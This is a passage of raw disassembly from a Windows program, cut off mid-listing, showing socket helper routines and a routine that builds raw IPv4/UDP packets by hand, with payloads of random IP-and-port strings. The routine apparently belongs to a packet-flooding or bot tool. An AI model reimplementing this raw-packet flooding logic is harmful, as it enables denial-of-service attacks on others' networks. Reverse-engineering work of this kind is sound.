		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
